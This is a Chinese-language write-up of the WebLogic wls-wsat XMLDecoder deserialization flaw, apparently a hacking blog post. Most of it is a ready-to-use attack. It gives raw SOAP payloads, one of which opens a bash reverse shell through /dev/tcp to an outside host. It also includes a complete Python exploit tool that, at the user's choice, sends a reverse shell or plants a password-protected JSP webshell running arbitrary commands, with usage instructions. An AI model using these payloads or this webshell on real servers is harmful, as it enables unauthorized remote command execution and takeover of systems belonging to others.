漏洞成因

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

打法

首先拼接路径/wls-wsat/CoordinatorPortType
这个页面八成有戏
2023-04-16T05:50:03.png
post请求该页面 content-type:text/xml
可以写shell,先探测路径,可以试试/bin/bash /bin/sh
可以ping curl wget来外带出数据
反弹shell提交的数据

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/1.1.1.1/4444 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

写入文件提交的数据包

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter"> 
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/文件名.jsp</string>
    <void method="println"><string>
    <![CDATA[
<% out.print("test"); %>
    ]]>
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

EXP

import requests
import urllib.parse
import time

print('''
             ████   ██ ██     ██         
            █░░░ █ ░██░██    ░░          
 ███     ██░    ░█ ░██░██  ██ ██ ███████ 
░░██  █ ░██   ███  ░██░██ ██ ░██░░██░░░██
 ░██ ███░██  ░░░ █ ░██░████  ░██ ░██  ░██
 ░████░████ █   ░█ ░██░██░██ ░██ ░██  ░██
 ███░ ░░░██░ ████  ███░██░░██░██ ███  ░██
░░░    ░░░  ░░░░  ░░░ ░░  ░░ ░░ ░░░   ░░      2023.4.15 pwns.fun

输入1直接使用bash反弹shell,输入2写入webshell
''')

choose=input("选择执行的操作:")

if choose == '1':
    url=input("请输入目标地址:")
    parsed_url = urllib.parse.urlparse(url)
    protocol = parsed_url.scheme
    host = parsed_url.hostname
    host=f"{protocol}://{host}"
    payload="/wls-wsat/CoordinatorPortType"
    try:
        resp = requests.get(url=host+payload, timeout=5)
        if resp.status_code == 200:
            ip=input("请输入接收shell的地址:")
            port=input("请输入接收shell的端口:")
            print("默认使用/bin/bash,如果无效可尝试/bin/sh,/bin/zsh")
            exp=f'''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.4.0" class="java.beans.XMLDecoder">
            <void class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
            <void index="0">
            <string>/bin/bash</string>
            </void>
            <void index="1">
            <string>-c</string>
            </void>
            <void index="2">
            <string>bash -i &gt;&amp; /dev/tcp/{ip}/{port} 0&gt;&amp;1</string>
            </void>
            </array>
            <void method="start"/></void>
            </java>
            </work:WorkContext>
            </soapenv:Header>
            <soapenv:Body/>
            </soapenv:Envelope>
            '''
            heasers={
                "content-type":"text/xml"
            }
            resp=requests.post(url=host+payload,data=exp,headers=heasers)
            print("命令执行完成,请检查是否接收到shell")

        else:
            print("页面不存在,请尝试手动确认!")
    except requests.exceptions.ConnectTimeout:
        print('访问异常')

elif choose == "2":
    url=input("请输入目标地址:")
    parsed_url = urllib.parse.urlparse(url)
    protocol = parsed_url.scheme
    host = parsed_url.hostname
    host=f"{protocol}://{host}"
    payload="/wls-wsat/CoordinatorPortType"
    try:
        resp = requests.get(url=host+payload, timeout=5)
        if resp.status_code == 200:
            exp='''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
                <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java><java version="1.4.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter"> 
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/asd123.jsp</string>
                <void method="println"><string>
                <![CDATA[
            <%
                if("023".equals(request.getParameter("pwd"))){
                    java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
                    int a = -1;
                    byte[] b = new byte[2048];
                    out.print("<pre>");
                    while((a=in.read(b))!=-1){
                        out.println(new String(b));
                    }
                    out.print("</pre>");
                }
                %>
                ok
                ]]>
                </string>
                </void>
                <void method="close"/>
                </object></java></java>
                </work:WorkContext>
                </soapenv:Header>
                <soapenv:Body/>
            </soapenv:Envelope>
            '''
            heasers={
                "content-type":"text/xml"
            }
            resp=requests.post(url=host+payload,data=exp,headers=heasers)
            print("成功提交写入shell请求,正在验证shell是否写入……")
            shell=host+"/bea_wls_internal/asd123.jsp"
            resp1=requests.get(url=shell)
            if "ok" in resp1.text:
                print("shell写入成功!"+shell)
                print("打法:asd123.jsp?pwd=023&i=whoami")
        else:
            print("页面不存在,请尝试手动确认!")
    except requests.exceptions.ConnectTimeout:
        print('访问异常')